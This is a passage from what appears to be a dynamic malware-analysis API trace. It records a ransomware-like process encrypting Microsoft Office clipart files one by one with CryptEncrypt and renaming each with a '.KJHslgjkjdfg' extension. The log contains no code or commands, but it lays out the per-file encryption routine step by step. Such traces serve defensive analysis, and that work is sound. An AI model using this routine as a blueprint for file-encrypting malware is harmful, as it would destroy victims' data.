Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.kjhslgjkjdfg")) returned 1 [0193.172] CloseHandle (hObject=0x114) returned 1 [0193.172] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94800, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d94800, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01840_.GIF", cAlternateFileName="")) returned 1 [0193.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.173] GetProcessHeap () returned 0x2a0000 [0193.173] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.173] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.173] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.174] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0193.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.176] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.176] GetProcessHeap () returned 0x2a0000 [0193.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.176] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.176] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.176] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.176] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.176] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.176] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.177] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.177] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.177] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.177] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5fe, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5fe, lpOverlapped=0x0) returned 1 [0193.177] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x600, dwBufLen=0x600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x600) returned 1 [0193.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.177] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x600, lpOverlapped=0x0) returned 1 [0193.177] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.177] SetEndOfFile (hFile=0x114) returned 1 [0193.184] GetProcessHeap () returned 0x2a0000 [0193.184] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.184] GetProcessHeap () returned 0x2a0000 [0193.184] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.kjhslgjkjdfg")) returned 1 [0193.187] CloseHandle (hObject=0x114) returned 1 [0193.187] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983ead00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x983ead00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01842_.GIF", cAlternateFileName="")) returned 1 [0193.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.189] GetProcessHeap () returned 0x2a0000 [0193.189] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.189] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.189] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.192] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.192] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.192] GetProcessHeap () returned 0x2a0000 [0193.192] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.192] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.192] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.192] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.192] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.192] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.192] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.192] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.192] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.192] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.193] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x76c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x76c, lpOverlapped=0x0) returned 1 [0193.193] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x770, dwBufLen=0x770 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x770) returned 1 [0193.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.193] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x770, lpOverlapped=0x0) returned 1 [0193.193] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.193] SetEndOfFile (hFile=0x114) returned 1 [0193.196] GetProcessHeap () returned 0x2a0000 [0193.196] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.196] GetProcessHeap () returned 0x2a0000 [0193.196] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.kjhslgjkjdfg")) returned 1 [0193.198] CloseHandle (hObject=0x114) returned 1 [0193.198] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d8000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x970d8000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01843_.GIF", cAlternateFileName="")) returned 1 [0193.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.199] GetProcessHeap () returned 0x2a0000 [0193.199] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.199] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.200] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0193.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.381] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.381] GetProcessHeap () returned 0x2a0000 [0193.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.381] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.381] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.381] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.381] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.381] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.382] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.382] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.382] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.382] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.382] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12d1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x12d1, lpOverlapped=0x0) returned 1 [0193.389] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12e0, dwBufLen=0x12e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12e0) returned 1 [0193.389] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.389] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12e0, lpOverlapped=0x0) returned 1 [0193.390] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.390] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.390] SetEndOfFile (hFile=0x114) returned 1 [0193.392] GetProcessHeap () returned 0x2a0000 [0193.393] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.393] GetProcessHeap () returned 0x2a0000 [0193.393] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.kjhslgjkjdfg")) returned 1 [0193.395] CloseHandle (hObject=0x114) returned 1 [0193.395] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb347100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb347100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x102b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02229_.GIF", cAlternateFileName="")) returned 1 [0193.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.397] GetProcessHeap () returned 0x2a0000 [0193.397] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.397] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.397] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0193.399] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.399] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.399] GetProcessHeap () returned 0x2a0000 [0193.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.399] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.399] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.399] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.400] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.400] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.400] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.400] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.400] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.400] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.400] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.400] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.400] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x102b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x102b, lpOverlapped=0x0) returned 1 [0193.401] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1030, dwBufLen=0x1030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1030) returned 1 [0193.402] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.402] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1030, lpOverlapped=0x0) returned 1 [0193.402] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.402] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.402] SetEndOfFile (hFile=0x114) returned 1 [0193.405] GetProcessHeap () returned 0x2a0000 [0193.405] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.405] GetProcessHeap () returned 0x2a0000 [0193.405] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.kjhslgjkjdfg")) returned 1 [0193.407] CloseHandle (hObject=0x114) returned 1 [0193.407] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHIRL1.WMF", cAlternateFileName="")) returned 1 [0193.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.409] GetProcessHeap () returned 0x2a0000 [0193.409] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.409] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, 